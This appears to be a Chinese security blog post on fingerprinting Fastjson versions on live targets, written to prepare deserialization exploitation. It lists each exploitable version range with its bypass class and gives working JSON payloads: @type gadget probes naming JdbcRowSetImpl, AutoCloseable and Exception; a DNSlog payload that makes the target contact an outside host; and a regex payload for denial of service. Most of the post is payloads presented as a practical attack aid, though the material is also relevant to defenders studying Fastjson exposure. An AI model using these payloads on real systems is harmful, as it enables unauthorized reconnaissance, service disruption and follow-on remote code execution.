在之前的一篇fastjson实战文章中提到过如何判断fastjson的版本,主要是参考这篇文章。
https://blog.csdn.net/m0_71692682/article/details/125814861
在浅蓝的Hacking JSON(KCon2022)一文中,也详细的提到了如何判断fastjson版本,甚至搞出了几个非常有想象力的payload。
但我还是想画蛇添足,给几个更贴近实战,更兼容的payload来帮助大家判断。
1,判断是否是其他json
这个在Hacking JSON中已经有了详细介绍。但从实战出发,我们见到的java json,基本不是jackson就是fastjson,因此只需要考虑它是jackson的情况。
如果目标回显详细报错信息,稍微破坏一下json结构,比如多一个{,比如简简单单把{}变成a。就可以看出来到底是不是jackson。
如果目标不回显详细报错信息,而是只有一个500或者error,那么jackson不允许存在不相关的键值,fastjson允许这个特性就可以派上用场了。
比如原json如下。
{"pageNumber":1,"pageSize":1}
加上一个不相关的键值
{"pageNumber":1,"pageSize":1,"test":1}
jackson就会报错,fastjson则不会,而是和之前一模一样。
如果对方什么都不回显,那就只能dnslog或者时间延迟了。
比如经典的1.2.24-1.2.83都会有dnslog的payload。
{"zero":{"@type":"java.net.Inet4Address","val":"dnslog.com"}}
比如浅蓝发现的1.2.36-1.2.62正则DDOS。
{
"regex":{
"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
},
"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}
2,有报错信息,判断版本号
这个就非常简单,几年前浅蓝博客就写明白了
https://b1ue.cn/archives/402.html
{"@type":"java.lang.AutoCloseable"
a
["test":1]
3,无报错信息,判断版本区间
更多的时候,在生产环境是关闭所有报错的,对方根本不会回显报错信息,而是直接抛500或者简简单单回显个error。
虽然浅蓝已经帮我们构造好了dnslog版的,但这里要介绍我自己研究的非dnslog版,以用在一些没有dns或者白名单dns的环境。
先简单总结一下fastjson的可利用版本。
<1.2.24,没有任何限制。
1.2.24-1.2.47,java.lang.Class绕过。
1.2.48-1.2.68,java.lang.AutoCloseable绕过。
1.2.70-1.2.72,无链版本
1.2.73-1.2.80,java.lang.Exception绕过。
1.2.83,无漏洞版本
再说一下这些payload该怎么用。正是利用fastjson的高容错性,允许不相关的键值。但如果这些键值有的版本报错,有的版本不报错,那么就可以构造出布尔形式的版本判断。
比如正常一个json传参。
{"page":{"pageNumber":1,"pageSize":1}}
插入dnslog,payload。
{"page":{"pageNumber":1,"pageSize":1,{"zero":{"@type":"java.net.Inet4Address","val":"dnslog.com"}}}}
我们要做的就是将以下payload插入正常json传参即可,以下只测试了1.2.24-1.2.83。
【不报错】1.2.83/1.2.24
【报错】1.2.25-1.2.80
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}
【不报错】1.2.24-1.2.68
【报错】1.2.70-1.2.83
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}
【不报错】1.2.24-1.2.47
【报错】1.2.48-1.2.83
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl"
}
}
【不报错】1.2.24
【报错】1.2.25-1.2.83
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}
这么几个payload,就将fastjson的重要利用区间给区分出来了。
不过可惜的是,我并没有找到1.2.70和1.2.73的区分方法。